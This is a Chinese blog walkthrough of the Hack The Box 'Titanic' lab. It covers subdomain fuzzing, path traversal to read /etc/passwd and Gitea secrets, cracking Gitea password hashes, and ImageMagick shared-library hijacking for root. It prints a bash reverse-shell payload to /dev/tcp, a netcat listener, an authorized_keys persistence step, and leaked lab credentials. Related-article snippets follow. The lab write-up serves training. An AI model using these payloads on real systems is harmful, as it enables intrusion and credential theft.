Hackthebox- Season7- Titanic 简记 [Easy]
简记
ip重定向到 http://titanic.htb
,先添加hosts
收集子域名
wfuzz -c -u http://titanic.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host:FUZZ.titanic.htb' --hl 9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************Target: http://titanic.htb/
Total requests: 19966=====================================================================
ID Response Lines Word Chars Payload
=====================================================================000000019: 200 275 L 1278 W 13870 Ch "dev"
将dev.titanic.htb也加到hosts
主站是一个预约服务,只有一个功能点,预约服务(右上角点击Book New)
dev子域是一个gitea代码托管平台,有两个代码库
developer/docker-config
developer/flask-app
先测试主站的功能点
使用whatweb查看,显然是一个python站点
$ whatweb http://titanic.htb/
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.129.194.71], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
(就是dev子域的那个flask-app)第一次做的时候没注意到,就没审计源码
点击Book New,填写信息,会下载一个json文件。
存在文件下载,我们就可以测试一下是否存在任意文件下载
burp抓包,
POST /book HTTP/1.1
Host: titanic.htb
Content-Length: 75
Cache-Control: max-age=0
Origin: http://titanic.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=aaa&email=aaa%40123.com&phone=17371996889&date=2222-02-02&cabin=Deluxe
(数据随便填),放包
HTTP/1.1 302 FOUND
Date: Wed, 19 Feb 2025 08:46:42 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 303
Location: /download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json
Connection: close<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json">/download?ticket=17e38735-baf1-43f9-931f-6a1ea16a1503.json</a>. If not, click the link.
可以看到302重定向到/download?ticket=xxxxx
好的,测试任意文件下载,linux机器,选择/etc/passwd
$ curl -s http://titanic.htb/download?ticket=/etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
两个用户,web用户要么是developer,要么是www-data
尝试读取developer目录下的flag (猜测、尝试)
$ curl -s http://titanic.htb/download?ticket=/home/developer/user.txt
21ce83fbxxxxxxxxxxxxxxxxxxxx
确实可以读取到user flag
子域的Gitea版本号为1.22.1,没找到公开的漏洞。继续尝试在任意文件下载这个漏洞上撕开口子,扩大危害。
关注代码托管平台的代码,可能存放的是内网的一些服务
查看提交历史,没有用信息。
developer/docker-config记录了两个服务的Dockerfile文件
version: '3'services:gitea:image: gitea/giteacontainer_name: giteaports:- "127.0.0.1:3000:3000"- "127.0.0.1:2222:22" # Optional for SSH accessvolumes:- /home/developer/gitea/data:/data # Replace with your pathenvironment:- USER_UID=1000- USER_GID=1000restart: always
这个Dockerfile是 Gitea服务的
值的关注的的一点volumes
挂载的位置:/home/developer/gitea/data:/data
, 将容器内的数据挂在到物理机的/home/developer/gitea/data
目录下
通过浏览器搜索“gitea data目录"
data/
- 数据目录(APP_DATA_PATH),如果使用文件会话,则不包括会话。该目录包括attachments
、avatars
、lfs
、indexers
、如果使用 SQLite 则包括 SQLite 文件。
version: '3.8'services:mysql:image: mysql:8.0container_name: mysqlports:- "127.0.0.1:3306:3306"environment:MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'MYSQL_DATABASE: tickets MYSQL_USER: sql_svcMYSQL_PASSWORD: sql_passwordrestart: always
这个是msql的dockerfile,有一个密码MySQLP@$$w0rd!
,先记录一下。
查看官方文档配置说明 | Gitea Documentation,Linux的默认配置文件路径为/etc/gitea/conf/app.ini
。
结合
volumes:- /home/developer/gitea/data:/data
尝试访问
$ curl -s http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea[repository]
ROOT = /data/git/repositories[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo[repository.upload]
TEMP_PATH = /data/gitea/uploads[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars[attachment]
PATH = /data/gitea/attachments[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost[lfs]
PATH = /data/git/lfs[mailer]
ENABLED = false[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true[cron.update_checker]
ENABLED = false[repository.pull-request]
DEFAULT_MERGE_STYLE = merge[repository.signing]
DEFAULT_TRUST_MODEL = committer[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
在配置中有sqlite数据库的(PATH = /data/gitea/gitea.db)路径,尝试下载
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db --output gitea.db% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed
100 2036k 100 2036k 0 0 1878k 0 0:00:01 0:00:01 --:--:-- 1879k
成功下载。查看数据库
可以使用gui工具查看,如sqllitebrowser
或者使用命令行工具
$ sqlite3 gitea.db
sqlite> .tables
<SNIP>
user
<SNIP>
重点关注user表,先查看一下表结构,用户名、密码、密码哈希、加密算法、盐
sqlite> .schema user
sqlite> select name,passwd,passwd_hash_algo,salt from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
搜一下”gitea password created“,在github上有很多现成的项目可以使用
- dvdknaap/gitea-crack-passwords: Crack GITEA passwords
通过上面/etc/passwd的内容,我们知道在机器上有developer用户,爆破developer对应的密码哈希
$ python3 1.py -s 8bf3e3452b78544f8bee9400d6936d34 -t e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 -w /usr/share/wordlists/rockyou.txt
<SNIP>
<SNIP>
Found password: 25282528
- F4dee3/gitea2hashcat: Script created in Bash to cracked the password of Gitea and export in Hashcat format.
将密码转化为hashcat格式
$ ./gitea2hashcat.sh[+] Usage: ./gitea2hashcat.sh-d) Provide the database file (e.g., gitea.db)-o) Specify the output file-h) Display this help panel
$ ./gitea2hashcat.sh -d gitea.db -o gitea.hashgitea.hash内容如下
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
使用hashcat爆破
$ hashcat --username gitea.hashes /usr/share/wordlists/rockyou.txt
然后及时ssh登陆,密码是25282528
ssh developer@titanic.htb
=> 登录成功~
接着就是提权·
sudo -l 起手,必是小丑
在/opt/scripts/
目录下发现一个shell文件
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
问AI:使用 ImageMagick 的 identify
命令提取每个 JPG 文件的元数据信息,最后将这些元数据信息追加写入 metadata.log
文件中
ImageMagick版本信息
developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
搜索ImageMagick 7.1.1-35 github poc,第一条就是
poc
在当前工作目录中创建共享库:(/opt/app/static/assets/images/ )
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void init(){system("id");exit(0);
}
EOF
修改system执行的命令,执行一个cat /root/root.txt > /tmp/root.txt
成功拿到flag
弹个shell
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void init(){system("bash -c '/bin/bash -i >& /dev/tcp/ip/1234 0>&1'");exit(0);
}
EOF
监听nc -lvnp 1234
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [Your-IP] from (UNKNOWN) [Machine] 38172
bash: cannot set terminal process group (6262): Inappropriate ioctl for device
bash: no job control in this shell
root@titanic:/opt/app/static/assets/images# id
id
uid=0(root) gid=0(root) groups=0(root)
简单的权限维持,写公钥
echo 你的公钥 >> ~/.ssh/authorized_keys
然后就可以ssh连接了(不需要密码了)
ssh root@titanic.htb
root@titanic:~# id
uid=0(root) gid=0(root) groups=0(root)
Beyond Root
定时任务
root@titanic:~# crontab -l* * * * * /opt/scripts/identify_images.sh && /root/cleanup.sh
*/10 * * * * /root/revert.sh
在获得普通用户时,就执行ifconfig,发现有docker网卡
现在有root权限了
root@titanic:~# docker ps
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
069e7799bf90 gitea/gitea "/usr/bin/entrypoint鈥? 6 months ago Up 3 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:2222->22/tcp gitea
然后就可以进入到容器里面看看了(docker exec -it 069 bash)
Blog原贴地址
相关文章:

Hackthebox- Season7- Titanic 简记 [Easy]
简记 ip重定向到 http://titanic.htb,先添加hosts 收集子域名 wfuzz -c -u http://titanic.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H Host:FUZZ.titanic.htb --hl 9 ******************************************************** * Wfu…...

Sa-Token 根据官方文档简单实现登录认证的示例
Sa-Token 根据官方文档实现登录鉴权测试 功能实现步骤依赖配置文件启动类创建 controller启动项目测试不用密码登录查看cookie状态 密码登录查看cookie状态 修改token名称 Apipost 测试无 cookie 模式【使用 token】后端将 token 返回到前端修改代码:测试࿱…...

rustdesk编译修改名字
最近,我用Rust重写了一个2W行C代码的linux内核模块。在此记录一点经验。我此前没写过内核模块,认识比较疏浅,有错误欢迎指正。 为什么要重写? 这个模块2W行代码量看起来不多,却在线上时常故障,永远改不完。…...
BS5852英国家具防火安全条款主要包括哪几个方面呢?
什么是BS5852检测? BS5852是英国针对家用家具的强制性安全要求,主要测试家具在受到燃烧香烟和火柴等火源时的可燃性。这个标准通常分为四个部分进行测试,但实际应用中主要测试第一部分和第二部分,包括烟头测试和利用乙炔火焰模拟…...

【运维】源码编译安装cmake
背景: 已经在本地源码编译安装gcc/g,现在源码安装cmake 下载源码 下载地址:CMake - Upgrade Your Software Build System 安装步骤: ./bootstrap --prefix/usr/local/cmake make make install 错误处理 1、提示找不到libmpc.…...

检测网络安全漏洞 工具
实验一的名称为信息收集和漏洞扫描 实验环境:VMware下的kali linux2021和Windows7 32,网络设置均为NAT,这样子两台机器就在一个网络下。攻击的机器为kali,被攻击的机器为Windows 7。 理论知识记录: 1.信息收集的步骤 2.ping命令…...
frameworks 之 Activity添加View
frameworks 之 Activity添加View 1 LaunchActivityItem1.1 Activity 创建1.2 PhoneWindow 创建1.3 DecorView 创建 2 ResumeActivityItem 讲解 Activity加载View的时机和流程 涉及到的类如下 frameworks/base/core/java/android/app/Activity.javaframeworks/base/services/cor…...
UWB技术中的两种调制方式:PPM与PAM
Ultra-Wideband (UWB) 技术以其低功耗、宽频谱和高精度定位的特点,广泛应用于物联网(IoT)、智能家居、资产追踪和无线通信等领域。在UWB中,信号的调制方式对于数据传输的效率和精度起着至关重要的作用。本文将深入探讨UWB中常用的…...

达梦:用户和模式
目录标题 数据库管理系统与用户权限管理**四权分立****用户管理与权限划分****用户管理界面与权限控制****用户创建与管理****实操**1. **默认创建用户与模式**:2. **用户权限和角色分配**:3. **命令行管理用户与角色**:4. 模式也可以创建 **…...

23. AI-大语言模型-DeepSeek
文章目录 前言一、DeepSeek是什么1. 简介2. 产品版本3. 特征4. 地址链接5. 三种访问方式1. 网页端和APP2. DeepSeek API 二、DeepSeek可以做什么1. 应用场景2. 文本生成1. 文本创作2. 摘要与改写3. 结构化生成 3. 自然语言理解与分析1. 语义分析2. 文本分类3. 知识推理 4. 编程…...

Spring-GPT智谱清言AI项目(附源码)
一、项目介绍 本项目是Spring AI第三方调用整合智谱请言(官网是:https://open.bigmodel.cn)的案例,回答响应流式输出显示,这里使用的是免费模型,需要其他模型可以去 https://www.bigmodel.cn/pricing 切换…...

计算机网络(涵盖OSI,TCP/IP,交换机,路由器,局域网)
一、网络通信基础 (一)网络通信的概念 网络通信是指终端设备之间通过计算机网络进行的信息传递与交流。它类似于现实生活中的物品传递过程:数据(物品)被封装成报文(包裹),通过网络…...

云计算架构学习之Ansible-playbook实战、Ansible-流程控制、Ansible-字典循环-roles角色
一、Ansible-playbook实战 1.Ansible-playbook安装软件 bash #编写yml [rootansible ansible]# cat wget.yml - hosts: backup tasks: - name: Install wget yum: name: wget state: present #检查playbook的语法 [rootansible ansible]…...

《运维工程师如何利用DeepSeek实现智能运维:分级实战指南》
目录 智能运维革命:DeepSeek带来的范式转变DeepSeek核心运维能力全景解析分级实战场景与解决方案 3.1 初级工程师:自动化运维入门3.2 中级工程师:复杂系统诊断与优化3.3 高级工程师:架构级智能运维典型项目案例深度剖析 4.1 金融系统全链路监控体系构建4.2 电商大促资源弹性…...

windows事件倒计时器与提醒组件
widgets 这是桌面组件前端开源组件,作者称:项目还在持续完善中,目前包含键盘演示、抖音热榜、喝水提醒、生日列表、待办事项、倒计时、灵动通知、打工进度等多个组件 有vue编程能力的可以自己做组件 百度网盘 夸克网盘 桌面组件 | Ca…...
Mac OS JAVA_HOME设置
个人博客地址:Mac OS JAVA_HOME设置 | 一张假钞的真实世界 在MacOS上使用DMG文件安装了Jdk8 之后,在默认路径下找不到JDK的HOME路径: $ which java /usr/bin/java $ ls -l /usr/bin/java lrwxr-xr-x 1 root wheel 74 12 6 2015 /usr/b…...

6.3 DBMS的功能和特征
文章目录 DBMS的6大功能DBMS的3个特征DBMS的分类 DBMS的6大功能 DBMS包含数据定义,数据库操作(检索、插入、修改、删除),数据库运行管理(保证多用户环境下正常运行),数据组织、存储、管理&…...
C# ConcurrentQueue 使用详解
总目录 前言 在C#多线程编程中,数据共享如同走钢丝——稍有不慎就会引发竞态条件(Race Condition)或死锁。传统Queue<T>在并发场景下需要手动加锁,而ConcurrentQueue<T>作为.NET Framework 4.0 引入的线程安全集合&a…...
python脚本文件设置进程优先级(在.py文件中实现)
在 Python 代码中可以直接通过 psutil 模块或 系统调用 来设置进程优先级,无需依赖终端命令。以下是具体方法和示例: 1. 使用 psutil 模块(跨平台推荐) psutil 是一个跨平台库,支持 Windows、Linux 和 macOS。通过其 …...

基于Django快递物流管理可视化分析系统(完整系统源码+数据库+详细开发文档+万字详细论文+答辩PPT+详细部署教程等资料)
文章目录 基于Django快递物流管理可视化分析系统(完整系统源码数据库详细开发文档万字详细论文答辩PPT详细部署教程等资料)一、项目概述二、项目说明三、研究意义四、系统设计技术架构 五、功能实现六、完整系统源码数据库详细开发文档万字详细论文答辩P…...
Python爬虫实战:研究MechanicalSoup库相关技术
一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...

HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
作为测试我们应该关注redis哪些方面
1、功能测试 数据结构操作:验证字符串、列表、哈希、集合和有序的基本操作是否正确 持久化:测试aof和aof持久化机制,确保数据在开启后正确恢复。 事务:检查事务的原子性和回滚机制。 发布订阅:确保消息正确传递。 2、性…...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
人工智能--安全大模型训练计划:基于Fine-tuning + LLM Agent
安全大模型训练计划:基于Fine-tuning LLM Agent 1. 构建高质量安全数据集 目标:为安全大模型创建高质量、去偏、符合伦理的训练数据集,涵盖安全相关任务(如有害内容检测、隐私保护、道德推理等)。 1.1 数据收集 描…...